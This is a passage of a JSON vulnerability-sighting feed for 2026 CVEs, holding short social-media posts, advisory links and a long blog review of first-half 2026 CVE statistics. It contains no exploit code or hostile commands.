"f9e54ce5-fc18-4e6f-9f4b-997e5ee2c287", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48307", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpll4ubpnt2q", "content": "\ud83d\udd17 CVE : CVE-2026-48276, CVE-2026-48277, CVE-2026-48281, CVE-2026-48282, CVE-2026-48283, CVE-2026-48285, CVE-2026-48307, CVE-2026-48313, CVE-2026-48314, CVE-2026-48315, CVE-2026-48316", "creation_timestamp": "2026-07-01T13:00:13.282414Z"}, {"uuid": "eb5ea2d2-943a-474b-a470-33cc2a51374d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpll4ubpnt2q", "content": "\ud83d\udd17 CVE : CVE-2026-48276, CVE-2026-48277, CVE-2026-48281, CVE-2026-48282, CVE-2026-48283, CVE-2026-48285, CVE-2026-48307, CVE-2026-48313, CVE-2026-48314, CVE-2026-48315, CVE-2026-48316", "creation_timestamp": "2026-07-01T13:00:13.327521Z"}, {"uuid": "a6438a6e-081d-4c1a-88c3-f98a3191a90d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48314", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpll4ubpnt2q", "content": "\ud83d\udd17 CVE : CVE-2026-48276, CVE-2026-48277, CVE-2026-48281, CVE-2026-48282, CVE-2026-48283, CVE-2026-48285, CVE-2026-48307, CVE-2026-48313, CVE-2026-48314, CVE-2026-48315, CVE-2026-48316", "creation_timestamp": "2026-07-01T13:00:13.375311Z"}, {"uuid": "5a103335-8c25-427f-b398-0f49ed6900b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48315", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpll4ubpnt2q", "content": "\ud83d\udd17 CVE : CVE-2026-48276, CVE-2026-48277, CVE-2026-48281, CVE-2026-48282, CVE-2026-48283, CVE-2026-48285, CVE-2026-48307, CVE-2026-48313, CVE-2026-48314, CVE-2026-48315, CVE-2026-48316", "creation_timestamp": "2026-07-01T13:00:13.418870Z"}, {"uuid": "145bb8b9-d2ab-4505-88ce-cf3fab0c0496", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48316", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpll4ubpnt2q", "content": "\ud83d\udd17 CVE : CVE-2026-48276, CVE-2026-48277, CVE-2026-48281, CVE-2026-48282, CVE-2026-48283, CVE-2026-48285, CVE-2026-48307, CVE-2026-48313, CVE-2026-48314, CVE-2026-48315, CVE-2026-48316", "creation_timestamp": "2026-07-01T13:00:13.466382Z"}, {"uuid": "d5506f1b-a672-4920-ad43-fa56897d4eb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4800", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mplp63gqbl2l", "content": "CVE-2026-4800: \u0412\u043b\u0438\u044f\u043d\u0438\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2021-23337 \u043d\u0430 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b\n\n\n\nhttps://kripta.biz/posts/FE66BCE9-CB0B-4C65-9740-A9E60E3BC6AC", "creation_timestamp": "2026-07-01T14:12:29.032621Z"}, {"uuid": "b216e47c-ff20-47fc-a836-aeb07f1bc418", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/faisalyahya.com/post/3mpls2s2m6p2u", "content": "A CFO once asked why we needed budget for identity posture tools. I didn't rattle off buzzwords. I pointed to flaws like CVE-2026-48558\u2014the recent SimpleHelp OIDC bypass. Attackers forge identity tokens, skip crypto checks, and gain full technician access to the fleet.", "creation_timestamp": "2026-07-01T15:04:19.836771Z"}, {"uuid": "da57e5f2-9c59-4c58-955f-19e9d10bb0a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48526", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mplsgpiwjt23", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48526 \u0432 PyJWT: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/A2202E3E-EA1D-451F-ABFE-48B728EDDF9C", "creation_timestamp": "2026-07-01T15:10:59.991836Z"}, {"uuid": "a21e4a98-11d8-4db2-9cc5-08f5a94ad155", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48362", "type": "seen", "source": "Telegram/SAqdp9bHH88ksxYx8tSwP5q461mBwCPpE6VU5oVsthx6anc", "content": "", "creation_timestamp": "2026-08-15T08:00:07.804862Z"}, {"uuid": "ba1dab03-b7e9-42f8-b352-f48fa820f4b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "Telegram/9qYdJNeZ50siptVHrqc-g91N4K0CPGozDwGl0Etd8sr4-fM", "content": "", "creation_timestamp": "2026-08-15T08:00:07.246986Z"}, {"uuid": "3e6c7b09-ca26-409a-9d2a-1eaba293a4ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/royans.bsky.social/post/3mpm6nr7dr224", "content": "SimpleHelp RMM Authentication Bypass CVE-2026-48558 and Dj...\n\nhttps://www.bleepingcomputer.com/news/security/simplehelp-bug-lets-hackers-create-rogue-remote-support-accounts\nhttps://flagthis.com/newsletter/2026/07/01/tldr/3871\n\n##SimpleHelp ##CVE202648558 ##DjinnStealer ##RMM ##AuthenticationBypass", "creation_timestamp": "2026-07-01T18:49:41.377981Z"}, {"uuid": "7018c62b-67c1-4355-87c2-d977786dc5ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://www.jerrygamblin.com/2026/07/01/3528/", "content": "We are halfway through 2026, so it is time for the mid-year CVE check-in. The short version: the volume curve has gone vertical while exploitation has not. This review covers everything published in the first half of 2026 (Jan 1 – Jun 30, 2026), the volume, the severity, what is actually being exploited, and who is driving the numbers, all measured against the same elapsed window a year ago so a partial half is never compared to a full one.\n\n\n\n\nTL;DR\n\n\n\n\nThe first half of 2026 produced 35,364 CVEs, more in six months than any full year before 2024 (all of 2023 finished at 28,817). That works out to one new CVE every 7.4 minutes, an increase of 49.5% over the same window in 2025 (23,656). And yet only 85 of them (0.24%) have made CISA’s KEV list so far, a floor that will rise as the cohort ages and exploitation is confirmed. That gap is the story of 2026 so far: we are minting CVEs faster than ever while confirmed exploitation stays rare, so the hard problem is signal-to-noise, not patch volume.\n\n\n\n\nAt this pace the year projects to roughly 71,314 to 72,008, and the all-time catalog has now passed 344,258 CVEs since 1999.\n\n\n\n\n\n\nNote: All statistics in this report exclude rejected CVEs to provide an accurate count of active vulnerabilities.\n\n\n\n\n\nKey Statistics at a Glance\n\n\n\n\n\nMetricValueTotal CVEs (H1 2026)35,364CVEs per Day195.4Change vs same window 2025+49.5%Projected Full Year71,314 – 72,008Critical Severity3,554High Severity13,821Average CVSS Score6.89CVSS Coverage94.3%CWE Coverage95.6%Active CNAs340Rejected CVEs (H1 2026)1,265Already Known-Exploited (KEV)85\n\n\n\n\n\n\n\n\n\nH1-over-H1: Three Years Side by Side\n\n\n\n\nTo keep the comparison honest while 2026 is still in progress, each year is measured over the identical window (January 1 through Jun 30).\n\n\n\n\n\nWindowCVEsPer DayAvg CVSSJan 1 – Jun 30, 202420,374112.66.65Jan 1 – Jun 30, 202523,656130.76.57Jan 1 – Jun 30, 202635,364195.46.89\n\n\n\n\n\n\n\n\n\nForecast Scorecard: Are We On Pace?\n\n\n\n\nAt 195.4 CVEs/day, two straight-line methods land close to each other (both are simple extrapolations of the same H1 run, so this is a sanity check, not two truly independent signals): the run-rate extrapolates to 71,314, and a seasonality-adjusted estimate (scaling the pace across the full half, then dividing by 2025’s 49% first-half share) to 72,008.\n\n\n\n\nCVEForecast, one of my own RogoLabs tools, projects\u00a090,831 CVEs\u00a0for full-year 2026 (LinearRegression, MAPE 17.9), so I am partly arguing with my own model here. That is\u00a018,823 above\u00a0the top of the straight-line range, and here is where I will plant a flag:\u00a0I think the model is high.\u00a0Both simple extrapolations land near 72,008, and the forecast’s entire gap to them rests on a heavy second-half surge that still has to show up.\u00a0My call is the year closes nearer 72,008 than 90,831.\u00a0I will happily eat those words in the December review if H2 accelerates the way the model expects, but the burden of proof is on the surge.\n\n\n\n\n\n\n\n\n\nWhat Changed in H1 2026\n\n\n\n\nGitHub Security Advisories is the busiest CNA at 6,801 assignments. New to the most-affected product list this year: Chrome, OpenClaw. Among weakness types, CWE-862 (Missing Authorization) climbed to #2 in the top five.\n\n\n\n\nSpotlight: OpenClaw. A project that barely existed a year ago, OpenClaw (Peter Steinberger’s viral local AI agent, the subject of Lex Fridman Podcast #491) is already one of the most-reported products of the half with 537 CVEs. The striking part is who is doing the reporting: VulnCheck alone assigned 500 of them (93%), disclosed steadily across the half rather than in a single dump. That concentration says more about researcher attention than code quality: VulnCheck, whose remit is emerging and exploited-in-the-wild threats, is exactly the kind of team that systematically covers a fast-growing new target, and concentrated third-party research on a hot AI agent is the coverage you would want. To its credit the project embraced the CVE lifecycle itself, issuing advisories through GitHub as reports came in. I track its CVEs at OpenClawCVEs.\n\n\n\n\n\n\n\n\n\nHistorical CVE Growth\n\n\n\n\nTo compare like with like, this chart counts only the first half of every year (January 1 through Jun 30). On that basis 2026 already stands taller than any prior first half: more CVEs in six months than the same window has ever produced.\n\n\n\n\n\n\n\n\n\nFirst-half growth has been relentless, and 2026 is +49.5% on the first half of 2025.\n\n\n\n\n\n\n\n\n\nCounting full years, the cumulative catalog has now passed 344,258 CVEs.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nMonthly Distribution (H1 2026)\n\n\n\n\nCVE publications varied across the first half of 2026, with Jun being the peak month at 7,454 CVEs.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nPublication Patterns by Day of Week\n\n\n\n\nPublishing clusters midweek. Wednesday is the busiest day at 7,943 CVEs, with Tuesday close behind at 7,216. Patch Tuesday is part of the story, but the midweek bulge owes as much to the high-volume CNAs (GitHub, Linux, the WordPress plugin crowd) that batch-publish midweek.\n\n\n\n\n\n\n\n\n\nWeekdays average 6,517 CVEs against just 1,389 on weekends.\n\n\n\n\n\n\n\n\n\nBusiest Days of H1 2026\n\n\n\n\nSome days saw massive spikes in CVE publications:\n\n\n\n\n\n\n\n\n\nTop 5 Busiest Days\n\n\n\n\n\nRankDateCVE Count12026-06-0974722026-06-1773232026-05-2771642026-03-2560652026-05-12554\n\n\n\n\n\n\n\n\n\nCVSS Score Analysis\n\n\n\n\nThe Common Vulnerability Scoring System (CVSS) helps standardize severity assessments. Here’s how H1 2026 CVEs were distributed across the scoring range.\n\n\n\n\n\n\n\n\n\nThe average CVSS score for H1 2026 was 6.89, with a median of 7.10.\n\n\n\n\nSeverity Breakdown\n\n\n\n\n\nSeverityCountPercentageCritical3,55410.0%High13,82139.1%Medium14,48541.0%Low3,0568.6%Unscored4481.3%\n\n\n\n\nPercentages are of all H1 2026 CVEs; “Unscored” are the 1.3% with no CVSS severity assigned.\n\n\n\n\n\n\n\n\n\nCVSS Trends Over Time\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nTop Weakness Types (CWE)\n\n\n\n\nThe Common Weakness Enumeration (CWE) categorizes the types of security weaknesses. Here are the most prevalent weakness types in H1 2026:\n\n\n\n\n\n\n\n\n\nTop 5 CWEs in H1 2026\n\n\n\n\n\nRankCWENameCount1CWE-79XSS3,7832CWE-862Missing Authorization1,7043CWE-89SQL Injection1,4454CWE-22Path Traversal1,2645CWE-416Use After Free1,037\n\n\n\n\n\n\n\n\n\nCVE Numbering Authorities (CNAs)\n\n\n\n\nThe leaderboard increasingly reflects where modern software and modern vulnerability research live: platform and ecosystem CNAs (GitHub, Patchstack) and dedicated research CNAs (VulnCheck, VulDB) alongside the traditional product vendors. High assignment counts are not inflation, a CNA covering the WordPress plugin ecosystem or issuing a CVE per kernel fix is doing exactly its job; the low KEV overlap below reflects how rare confirmed exploitation is across all sources, not the validity of any CNA’s records. The most active assigners this year:\n\n\n\n\n\n\n\n\n\nTop 5 CNAs in H1 2026\n\n\n\n\n\nRankCNACVEs Assigned1GitHub Security Advisories6,8012VulDB3,3193VulnCheck3,2734Patchstack2,7045Linux2,564\n\n\n\n\nIn total, 340 unique CNAs assigned CVEs in H1 2026.\n\n\n\n\n\n\n\n\n\nTop Vendors\n\n\n\n\nThe vendors with the most CVEs attributed to their products this year (each links to its NVD search):\n\n\n\n\n\n\n\n\n\nTop 5 Vendors in H1 2026\n\n\n\n\n\nRankVendorCVE Count1Linux2,5642Google1,8013Microsoft8644OpenClaw5375Oracle445\n\n\n\n\n\n\n\n\n\nMost Vulnerable Products\n\n\n\n\nDrilling past vendors to specific products, the H1 2026 leaders:\n\n\n\n\n\n\n\n\n\nTop 5 Products\n\n\n\n\n\nRankProductCVE Count1Linux Kernel1,9562Chrome1,2033OpenClaw5344Windows 103725Android303\n\n\n\n\nProduct-level counts can differ slightly from the vendor totals above: a vendor’s CVEs may span several products, and a single CVE can name more than one.\n\n\n\n\n\n\n\n\n\nKnown-Exploited Vulnerabilities (CISA KEV)\n\n\n\n\nVolume is the headline, but exploitation is what should actually drive patching. Of the 35,364 CVEs published in H1 2026, only 85 (0.24%) have shown up in the CISA KEV catalog so far. Treat that as a floor, not a verdict: KEV is a US-government catalog that lags disclosure by months and records only confirmed, observed exploitation, so this share will climb as the 2026 cohort ages. Even so, the signal holds, most CVEs are not known-exploited, so exploitability (KEV plus a forward-looking score like EPSS) beats chasing raw counts.\n\n\n\n\nNote these are two different populations: the 85 above are H1-2026-published CVEs already in KEV, while CISA added 146 entries to KEV during the half (more than the 132 added in the same window of 2025, many of them older CVEs newly exploited), and 17 of those additions are tied to known ransomware campaigns.\n\n\n\n\nH1 2026 CVEs Already in KEV\n\n\n\n\nA sample (5 most recent of 85):\n\n\n\n\n\nCVEVendorProductAddedRansomwareCVE-2026-48558SimplehelpSimpleHelp2026-06-29NoCVE-2026-20230CiscoUnified Communications Manager2026-06-25NoCVE-2026-12569PtcWindchill and FlexPLM2026-06-25NoCVE-2025-67038LantronixEDS50002026-06-23NoCVE-2026-34910UbiquitiUniFi OS2026-06-23No\n\n\n\n\n\n\n\n\n\nData Quality\n\n\n\n\nNot all CVEs have complete metadata. Here’s how data quality has evolved over the years:\n\n\n\n\n\n\n\n\n\nH1 2026 Data Quality Metrics\n\n\n\n\n\nMetricCoverageCVSS Score94.3%CWE Classification95.6%CPE Identifiers59.0%\n\n\n\n\nThis is where two ideas from the CVE Decaf work I did with Jay Jacobs get practical: actionable data quality (judge a record by whether it is complete enough to act on, not by abstract completeness) and data provenance (knowing which source asserted each field). The CPE gap is the clearest case. At 59.0% CPE coverage, nearly half of H1 2026 CVEs cannot be automatically matched to a product the day they publish, so for those records the answer to “can I act on this today?” is no, no matter how complete the rest of the entry looks. Scoring each record on its provenance (who supplied it) and on the fields that actually drive action (CPE for asset matching, KEV and EPSS for exploitability) is how you turn the raw feed into a measurable signal-to-noise ratio instead of a flat backlog.\n\n\n\n\n\n\n\n\n\nRejected CVEs\n\n\n\n\nNot all CVE IDs stay active. Some are rejected for duplicates, disputes, or invalid submissions, and the rejection rate is a useful read on the ecosystem’s quality control.\n\n\n\n\n\n\n\n\n\nH1 2026 Rejection Statistics\n\n\n\n\n\nMetricValueRejected CVEs in H1 20261,265H1 2026 Rejection Rate3.45%Total Rejected (All Time)17,648\n\n\n\n\nCVE rejections occur for several reasons:\n\n\n\n\n\n\nDuplicates: The same vulnerability assigned multiple CVE IDs\n\n\n\n\nDisputes: Vendor disagreement that the issue is a vulnerability\n\n\n\n\nInvalid: Not a security vulnerability or insufficient information\n\n\n\n\nWithdrawn: CVE withdrawn by the assigning CNA\n\n\n\n\n\n\n\n\n\n\nConclusions\n\n\n\n\nKey Takeaways from the First Half of 2026\n\n\n\n\n\n\nVolume keeps climbing: 35,364 CVEs in roughly six months, up 49.5% on the same window last year, with the full year projecting to 71,314-72,008.\n\n\n\n\nSeverity stays heavy: 17,375 CVEs (49.1%) are Critical or High.\n\n\n\n\nWeb and access-control flaws lead: XSS, Missing Authorization, SQL Injection, Path Traversal headline the CWE list. Memory-safety issues barely register in the top tier this half.\n\n\n\n\nThe CNA mix is shifting: platform teams and aggregators, not the original vendors, now top the assigner list, and the lineup reshuffled from a year ago.\n\n\n\n\nCoverage gaps persist: CVSS and CWE are well covered, but CPE sits at 59.0%, which still hampers automated matching.\n\n\n\n\nConfirmed exploitation stays rare (so far): just 85 of 35,364 H1 CVEs (0.24%) are in CISA KEV today, a floor that rises as the cohort ages. Volume is a triage problem, not a patch-everything problem.\n\n\n\n\n\nWhat this means for you\n\n\n\n\n\n\nIf you defend a network: do not let the raw count set your pace. Only 0.24% of H1 CVEs are confirmed-exploited in KEV today, but KEV lags and is a floor, not the full risk picture. Lead with exploitability (KEV as a hard floor, EPSS with a threshold you pick), then weight by your own context: internet-facing and sensitive systems jump the queue regardless of score, and compliance SLAs (PCI, FedRAMP, and the like) still set hard clocks. Lower priority is not never, so park the rest in a managed cycle rather than ignoring it.\n\n\n\n\nIf you run a CNA: the leaderboard now runs through platforms, ecosystems, and research CNAs. Volume reflects scope, not padding; the differentiator that is still genuinely uneven is data quality, and the biggest gap, CPE coverage, is largely an NVD-side enrichment problem rather than a function of who assigned the CVE.\n\n\n\n\nIf you consume NVD data: enrichment is the bottleneck. CPE at 59.0% means nearly half of new CVEs lack a formal CPE, which complicates NVD-style automated matching (many CNAs still carry vendor/product strings), and volume only widens that gap.\n\n\n\n\n\nWhat I’m watching in H2\n\n\n\n\nMy call from the scorecard stands: 2026 closes nearer 72,008 than the 90,831 forecast. Two things would change my mind: a December disclosure surge bigger than 2025’s, or another OpenClaw-style project flooding the catalog. The year-end review settles it.\n\n\n\n\n\n\n\n\n\nMethodology and Reproducibility\n\n\n\n\nTwo primary data sources, plus two enrichment feeds:\n\n\n\n\n\n\nNVD JSON – National Vulnerability Database export from nvd.handsonhacking.org\n\n\n\n\nCVE List V5 – Official CVE records from CVEProject/cvelistV5\n\n\n\n\nForecast\u00a0–\u00a0CVEForecast\u00a0full-year projection\n\n\n\n\nExploitation – CISA KEV catalog\n\n\n\n\n\nEverything here is reproducible. The full pipeline (Python, pandas, matplotlib) is on GitHub at\u00a0jgamblin/H12026CVEBlog, and it leans on the free CVE tooling I build at\u00a0RogoLabs:\u00a0cve.icu,\u00a0cnascorecard.org, and\u00a0cveforecast.org.\n\n\n\n\nData collected and analyzed on July 01, 2026.", "creation_timestamp": "2026-07-01T19:00:55.687189Z"}, {"uuid": "dab2d4a4-4fb7-4d4a-9909-6e66ba1d169e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48815", "type": "published-proof-of-concept", "source": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "content": "", "creation_timestamp": "2026-07-01T20:35:03.037452Z"}, {"uuid": "c2e50290-6313-4724-8046-82aba92d5aa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48816", "type": "published-proof-of-concept", "source": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "content": "", "creation_timestamp": "2026-07-01T20:35:05.211896Z"}, {"uuid": "441b3965-988e-47fd-8517-587fd1f5c42b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/smit-artem.bsky.social/post/3mtfiqip6n62n", "content": "Heads up: an important security fix just landed for Adobe Campaign. Open its settings and let it update. A couple of taps now keeps your data safer. CVE-2026-48449", "creation_timestamp": "2026-08-19T00:42:19.118863Z"}, {"uuid": "11202706-c808-4220-94a3-7730486d0f86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48824", "type": "published-proof-of-concept", "source": "https://github.com/axllent/mailpit/security/advisories/GHSA-28pq-6qxg-wg5r", "content": "", "creation_timestamp": "2026-07-01T22:35:13.977394Z"}, {"uuid": "123fdc18-5b0e-4540-8d03-67b8c2dcdd7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48819", "type": "published-proof-of-concept", "source": "https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw", "content": "", "creation_timestamp": "2026-07-01T22:35:16.147820Z"}, {"uuid": "bb49f64f-31f5-4794-8eb7-4ca93159d43a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mpmsrm35me2n", "content": "ChocoPoC Crisis: How a Tasty-Looking Joomla PoC Became a Full-Blown Supply Chain Attack +\u00a0Video\n\nIntroduction: In late June 2026, YesWeHack\u2019s vulnerability intelligence team published an analysis of a critical unauthenticated RCE flaw in the Joomla JCE extension (CVE-2026-48907), including a\u2026", "creation_timestamp": "2026-07-02T00:49:45.480063Z"}, {"uuid": "692d4c3a-d55c-4046-abd5-43c9c7dfef95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48286", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmttadtbt2l", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48286 \u0432 Adobe Campaign Classic: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/20755084-D7D6-4398-AEE0-1E904A6A374F", "creation_timestamp": "2026-07-02T01:08:34.406051Z"}, {"uuid": "62735fe9-9fca-41d5-9281-089ad77ba56a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48286", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpmx3xfbup2o", "content": "\ud83d\udccc CVE-2026-48286 - Adobe Campaign Classic (ACC) versions 7.4.3 build 9396 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbit... https://www.cyberhub.blog/cves/CVE-2026-48286", "creation_timestamp": "2026-07-02T02:07:07.675819Z"}, {"uuid": "34d13534-1cb6-44b6-847a-6a9b1434f829", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48277", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpndqa2obu2t", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48277 \u0432 Adobe ColdFusion: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/A62F1AD7-81B1-438F-A62E-25F0BBE6EBBF", "creation_timestamp": "2026-07-02T05:53:12.653482Z"}, {"uuid": "119d5ce8-7a75-423a-8de3-df15260baccb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpndzuc4di2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48276 \u0432 Adobe ColdFusion: \u0443\u0433\u0440\u043e\u0437\u0430 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432\n\n\n\nhttps://kripta.biz/posts/7D8B364D-9D93-4815-B902-60249CCB78B1", "creation_timestamp": "2026-07-02T05:58:35.783586Z"}, {"uuid": "df0bbbb1-dff3-4933-98b0-f4803789bb8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48160", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msr227xbqd2n", "content": "CVE-2026-48160 - react-tracked\nA security issue in React-Tracked allowed attackers to execute malicious code on developer machines when they installed the package. This happened because some compromised\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#reacttracked #daishi #CVE #infosec", "creation_timestamp": "2026-08-10T21:26:04.643299Z"}, {"uuid": "f686ae4d-f551-4cd1-8e6b-24e6ba73372a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48326", "type": "seen", "source": "https://www.ncsc.nl/alerts/kwetsbaarheden-in-adobe-campaign-classic", "content": "", "creation_timestamp": "2026-08-06T16:16:10.304657Z"}, {"uuid": "86b745ca-758a-4f00-a5ac-db4b92368381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48333", "type": "seen", "source": "https://www.ncsc.nl/alerts/kwetsbaarheden-in-adobe-campaign-classic", "content": "", "creation_timestamp": "2026-08-06T16:16:12.691948Z"}, {"uuid": "cb395564-b9b4-4d2e-8185-1217cd08102e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48331", "type": "seen", "source": "https://www.ncsc.nl/alerts/kwetsbaarheden-in-adobe-campaign-classic", "content": "", "creation_timestamp": "2026-08-06T16:16:03.321886Z"}, {"uuid": "56449eec-c42f-4b3d-848c-1b7a48d8e090", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48330", "type": "seen", "source": "https://www.ncsc.nl/alerts/kwetsbaarheden-in-adobe-campaign-classic", "content": "", "creation_timestamp": "2026-08-06T16:16:07.918900Z"}, {"uuid": "268e7417-02af-468c-8f29-a13aa3caf80f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48323", "type": "seen", "source": "https://www.ncsc.nl/alerts/kwetsbaarheden-in-adobe-campaign-classic", "content": "", "creation_timestamp": "2026-08-06T16:16:05.560625Z"}, {"uuid": "17cb8197-4939-4688-ac9b-4763b5d8b766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48317", "type": "seen", "source": "https://www.ncsc.nl/alerts/kwetsbaarheden-in-adobe-campaign-classic", "content": "", "creation_timestamp": 